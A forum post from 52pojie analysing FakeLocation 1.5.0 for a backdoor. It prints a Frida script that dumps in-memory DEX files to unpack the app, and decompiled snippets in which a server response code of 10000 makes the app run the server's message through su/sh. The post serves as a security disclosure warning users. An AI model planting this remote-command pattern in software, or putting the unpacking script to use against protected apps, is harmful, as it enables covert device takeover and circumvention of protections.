吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 447|回复: 4
上一主题 下一主题
收起左侧

[原创] FakeLocation 1.5.0 后门分析

[复制链接]
跳转到指定楼层
楼主
AkiyamaMIO123 发表于 2026-7-14 17:28 回帖奖励
感谢@方块君 Fake Location 授权分析以及后门分析 https://www.52pojie.cn/thread-1988024-1-1.html 中对1.3.5版本的分析
我想下载此软件使用,但又怕帖子内提到的后门依旧存在,因此使用AI工具进行审计,不涉及软件授权破解和业务代码分析。
GitHub上显示此仓库已经归档,但实际仍提供Release下载。样本APK SHA-256:7B78F2E9C0F06FDD7F44379F241CD2959F476F6958BB1BB215EBCD796651CD4B

1.脱壳

前人做过的工作中,明确提到此apk存在保护壳,既然如此,不如直接通过内存dump出动态加载的dex。我选择的工具是frida,让AI写个通用扫描脚本:

'use strict';

const OUT_DIR = '/data/local/tmp';
const DEX_PATTERN = '64 65 78 0a 30 ?? ?? 00';
const MAX_DEX_SIZE = 256 * 1024 * 1024;
const MIN_DEX_SIZE = 112;
const dumped = {};
let scanRunning = false;
let scanId = 0;
let outDirReady = false;

function findExport(name) {
  if (typeof Module.findGlobalExportByName === 'function') {
    return Module.findGlobalExportByName(name);
  }
  if (typeof Module.findExportByName === 'function') {
    return Module.findExportByName(null, name);
  }
  return null;
}

function now() {
  return (new Date()).toISOString();
}

function log(msg) {
  console.log(`[${now()}] ${msg}`);
}

function sanitize(s) {
  return String(s || 'unknown').replace(/[^A-Za-z0-9_.-]+/g, '_').slice(0, 96);
}

function ensureOutDir() {
  if (outDirReady) return true;
  try {
    const mkdirPtr = findExport('mkdir');
    if (!mkdirPtr) {
      log('mkdir export not found');
      return false;
    }
    const mkdir = new NativeFunction(mkdirPtr, 'int', ['pointer', 'int']);
    let current = '';
    OUT_DIR.split('/').forEach(function (part) {
      if (part.length === 0) return;
      current += '/' + part;
      mkdir(Memory.allocUtf8String(current), 0o700);
    });
    outDirReady = true;
    return true;
  } catch (e) {
    log(`ensureOutDir failed: ${e}`);
    return false;
  }
}

function validateDex(addr) {
  try {
    const fileSize = addr.add(0x20).readU32();
    const headerSize = addr.add(0x24).readU32();
    const endian = addr.add(0x28).readU32();
    const stringIdsSize = addr.add(0x38).readU32();
    const typeIdsSize = addr.add(0x40).readU32();
    const protoIdsSize = addr.add(0x48).readU32();
    const methodIdsSize = addr.add(0x58).readU32();
    const classDefsSize = addr.add(0x60).readU32();
    if (fileSize < MIN_DEX_SIZE || fileSize > MAX_DEX_SIZE) return null;
    if (headerSize !== 0x70) return null;
    if (endian !== 0x12345678) return null;
    if (stringIdsSize === 0 || typeIdsSize === 0 || protoIdsSize === 0) return null;
    if (methodIdsSize === 0 || classDefsSize === 0) return null;
    return {
      fileSize,
      stringIdsSize,
      typeIdsSize,
      protoIdsSize,
      methodIdsSize,
      classDefsSize
    };
  } catch (e) {
    return null;
  }
}

function dumpDex(addr, range, source) {
  const meta = validateDex(addr);
  if (meta === null) return false;
  if (!ensureOutDir()) return false;

  const key = `${addr}_${meta.fileSize}_${meta.classDefsSize}`;
  if (dumped[key]) return false;
  dumped[key] = true;

  try {
    const data = addr.readByteArray(meta.fileSize);
    const name = [
      'dex',
      sanitize(source),
      addr.toString().replace('0x', ''),
      meta.fileSize,
      `c${meta.classDefsSize}`,
      `m${meta.methodIdsSize}`
    ].join('_') + '.dex';
    const path = `${OUT_DIR}/${name}`;
    const f = new File(path, 'wb');
    f.write(data);
    if (typeof f.flush === 'function') f.flush();
    f.close();
    log(`DUMPED ${path} size=${meta.fileSize} classes=${meta.classDefsSize} methods=${meta.methodIdsSize} range=${range.base}-${range.base.add(range.size)} file=${range.file ? range.file.path : ''}`);
    return true;
  } catch (e) {
    log(`dump failed at ${addr}: ${e}`);
    return false;
  }
}

function readableRanges() {
  const protections = ['r--'];
  const ranges = [];
  const seen = {};
  protections.forEach(function (prot) {
    try {
      Process.enumerateRanges(prot).forEach(function (r) {
        const key = `${r.base}_${r.size}_${r.protection}`;
        if (seen[key]) return;
        seen[key] = true;
        if (r.size >= MIN_DEX_SIZE && r.size <= MAX_DEX_SIZE * 2) ranges.push(r);
      });
    } catch (e) {
      log(`enumerateRanges ${prot} failed: ${e}`);
    }
  });
  return ranges;
}

function scanDexMemory(reason) {
  if (scanRunning) return;
  scanRunning = true;
  const current = ++scanId;
  let hitCount = 0;
  let dumpCount = 0;
  const ranges = readableRanges();
  log(`scan#${current} start reason=${reason} ranges=${ranges.length}`);

  try {
    ranges.forEach(function (range) {
      let matches;
      try {
        matches = Memory.scanSync(range.base, range.size, DEX_PATTERN);
      } catch (e) {
        return;
      }
      matches.forEach(function (m) {
        hitCount++;
        if (dumpDex(m.address, range, reason)) dumpCount++;
      });
    });
  } finally {
    log(`scan#${current} done hits=${hitCount} new_dumps=${dumpCount}`);
    scanRunning = false;
  }
}

function scanSoon(reason, delayMs) {
  setTimeout(function () {
    scanDexMemory(reason);
  }, delayMs || 250);
}

function hookNativeLoaders() {
  ['android_dlopen_ext', 'dlopen'].forEach(function (name) {
    const p = findExport(name);
    if (!p) return;
    Interceptor.attach(p, {
      onEnter(args) {
        this.path = args[0].isNull() ? '' : args[0].readCString();
        if (this.path && (this.path.indexOf('jiagu') >= 0 || this.path.indexOf('fakeloc') >= 0 || this.path.indexOf('libfl') >= 0 || this.path.indexOf('liblh') >= 0 || this.path.indexOf('.so') >= 0)) {
          log(`${name} enter ${this.path}`);
        }
      },
      onLeave(retval) {
        if (this.path && (this.path.indexOf('此处写关键词') >= 0) {
          log(`${name} leave ${this.path} => ${retval}`);
          scanSoon(`${name}:${this.path}`, 500);
        }
      }
    });
  });
}

function hookJavaLoaders() {
  Java.perform(function () {
    try {
      const System = Java.use('java.lang.System');
      const sysLoad = System.load.overload('java.lang.String');
      sysLoad.implementation = function (path) {
        log(`System.load ${path}`);
        const ret = sysLoad.call(this, path);
        scanSoon(`System.load:${path}`, 500);
        return ret;
      };
      const sysLoadLibrary = System.loadLibrary.overload('java.lang.String');
      sysLoadLibrary.implementation = function (name) {
        log(`System.loadLibrary ${name}`);
        const ret = sysLoadLibrary.call(this, name);
        scanSoon(`System.loadLibrary:${name}`, 500);
        return ret;
      };
    } catch (e) {
      log(`hook System loaders failed: ${e}`);
    }

    try {
      const Runtime = Java.use('java.lang.Runtime');
      const rtLoad = Runtime.load.overload('java.lang.String');
      rtLoad.implementation = function (path) {
        log(`Runtime.load ${path}`);
        const ret = rtLoad.call(this, path);
        scanSoon(`Runtime.load:${path}`, 500);
        return ret;
      };
      const rtLoadLibrary = Runtime.loadLibrary.overload('java.lang.String');
      rtLoadLibrary.implementation = function (name) {
        log(`Runtime.loadLibrary ${name}`);
        const ret = rtLoadLibrary.call(this, name);
        scanSoon(`Runtime.loadLibrary:${name}`, 500);
        return ret;
      };
    } catch (e) {
      log(`hook Runtime loaders failed: ${e}`);
    }

    try {
      const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
      const init = DexClassLoader.$init.overload('java.lang.String', 'java.lang.String', 'java.lang.String', 'java.lang.ClassLoader');
      init.implementation = function (dexPath, optDir, libPath, parent) {
        log(`DexClassLoader dexPath=${dexPath} optDir=${optDir} libPath=${libPath}`);
        const ret = init.call(this, dexPath, optDir, libPath, parent);
        scanSoon(`DexClassLoader:${dexPath}`, 500);
        return ret;
      };
    } catch (e) {
      log(`hook DexClassLoader failed: ${e}`);
    }

    try {
      const InMemoryDexClassLoader = Java.use('dalvik.system.InMemoryDexClassLoader');
      InMemoryDexClassLoader.$init.overloads.forEach(function (ov) {
        ov.implementation = function () {
          log(`InMemoryDexClassLoader ctor argc=${arguments.length}`);
          const ret = ov.apply(this, arguments);
          scanSoon('InMemoryDexClassLoader', 250);
          return ret;
        };
      });
    } catch (e) {
      log(`hook InMemoryDexClassLoader failed: ${e}`);
    }

    try {
      const DexFile = Java.use('dalvik.system.DexFile');
      DexFile.class.getDeclaredMethods().forEach(function (m) {
        const n = m.getName().toString();
        if (n.indexOf('open') >= 0 || n.indexOf('load') >= 0) log(`DexFile method ${m.toString()}`);
      });
      ['openDexFile', 'openDexFileNative'].forEach(function (methodName) {
        try {
          DexFile[methodName].overloads.forEach(function (ov) {
            ov.implementation = function () {
              const args = [];
              for (let i = 0; i < arguments.length; i++) args.push(String(arguments[i]));
              log(`DexFile.${methodName}(${args.join(', ')})`);
              const ret = ov.apply(this, arguments);
              scanSoon(`DexFile.${methodName}`, 250);
              return ret;
            };
          });
        } catch (inner) {
        }
      });
    } catch (e) {
      log(`hook DexFile failed: ${e}`);
    }

    scanSoon('Java.perform.initial', 0);
  });
}

hookNativeLoaders();

if (Java.available) {
  hookJavaLoaders();
} else {
  log('Java runtime not available at script init');
}

[0, 1000, 2500, 5000, 8000, 12000, 18000, 25000, 35000, 50000, 70000, 90000].forEach(function (delay) {
  setTimeout(function () {
    scanDexMemory(`timer_${delay}`);
  }, delay);
});

脚本在APP启动后Attach,Hook各类加载器,并分多个时间扫描内存,自动匹配dex并去重后dump出来。这样做的目的是防止壳在早期执行反检测代码,调用 native ART 接口、直接 mmap,或者在脚本注入前就完成加载。

2.从大量 DEX 中筛出应用代码

dump出来的dex很多,有上百个。为了排除掉各类SDK等内容,让AI筛了一下,它是这么做的:

  1. 优先排除日志 range.file 明确指向 /system/apex 的框架 DEX;
  2. 对匿名映射和来源为空的 DEX 保留,因为壳恢复的应用 DEX 往往没有普通文件路径;
  3. 搜索 APP名称、Runtime.execver/vfs 等类名/字符串。

最终找出来了7个候选。使用jadx进行批量反编译。

3.查找后门代码

由于本次逆向主要目的是查看其是否还有后门,直接尝试搜索Runtime.getRuntime、.exec、new ProcessBuilder、DataOutputStream、su、sh -c等标志性字符串。最终定位到几处代码:

  1. androidx.appcompat.view.link.C3546.AbstractC3548<T>实现了网络回调接口。若失败码恰好为 10000,进入命令执行分支。
    int code = mo0Var.getCode();
            String message = mo0Var.getMessage();
            if (code == 10000 && !TextUtils.isEmpty(message)) {
                q71.m4449(true, message);
                q71.m4449(false, message);
            }

    m449是个空壳,实际调用了m4455,其中包含下面的su/sh远程命令执行:

    public static String rootShell = "su";
    Process p = Runtime.getRuntime().exec(asRoot ? rootShell : "sh");
    DataOutputStream stdin = new DataOutputStream(p.getOutputStream());
    for (String cmd : commands) {
    if (cmd != null) {
        stdin.write(cmd.getBytes());
        stdin.writeBytes("\n");
        stdin.flush();
    }
    }
    stdin.writeBytes("exit\n");
    stdin.flush();
    p.waitFor();

    2.隐藏模块触发主动请求
    该 DEX 的类集中在独立 p000 包中,如果它发现当前在规定的时间范围内,会启动主动请求:

    public class C7525 {
    /* JADX INFO: renamed from: ࢡ, reason: contains not printable characters */
    public static void m36059() {
        try {
            C7531.m36063();
            Location location = C7529.f55430;
            if (System.currentTimeMillis() - 1775942698115L > 17280000000L) {
                throw new RuntimeException("");
            }
            C5261.C5262.f18671 = new C7529();
            synchronized (C7528.class) {
                List<String> list = C7528.f55428;
                new Thread(new RunnableC7527()).start();
            }
        } catch (Throwable th) {
        }
    }
    }

    而C7527内,也有如下代码:

    if (zn0VarExecute.ඇ()) {
                        mo0 mo0Var = (mo0) zn0VarExecute.ඈ();
                        if (mo0Var.isSuccess()) {
                            List<String> array = InterfaceC5830.parseArray("" + mo0Var.getBody(), String.class);
                            if (array != null && !array.isEmpty()) {
                                C7528.f55428 = array;
                                C7528.f55429 = System.currentTimeMillis();
                            }
                        } else {
                            int code = mo0Var.getCode();
                            String message = mo0Var.getMessage();
                            if (code == 10000 && !TextUtils.isEmpty(message)) {
                                C7532.m36064(true, message);
                                C7532.m36064(false, message);
                            }
                        }
                    }

    逻辑和第一条一致,code为10000时执行message内的指令。

3.结论

从结果看,当前的FakeLocation 1.5.0内依旧包含远程代码执行模块。目前暂时未发现服务器会下发10000的code来调用此模块,但不代表未来不会执行。GitHub上的release不一定代表完全安全。



免费评分

参与人数 2吾爱币 +2 热心值 +2 收起 理由
我自有分数 + 1 + 1 谢谢@Thanks!
skx258456 + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
skx258456 发表于 2026-7-15 12:37
差点就去下载了一个
3#
huajiworld 发表于 2026-7-15 14:45
这软件还有后门,不过我用这个软件的时候老是会泄露环境,因为他会在/data下面乱拉屎
4#
GS9452 发表于 2026-7-15 15:24
5#
sdieedu 发表于 2026-7-15 21:26
太可怕了,一个定位apk
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-7-16 07:02

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表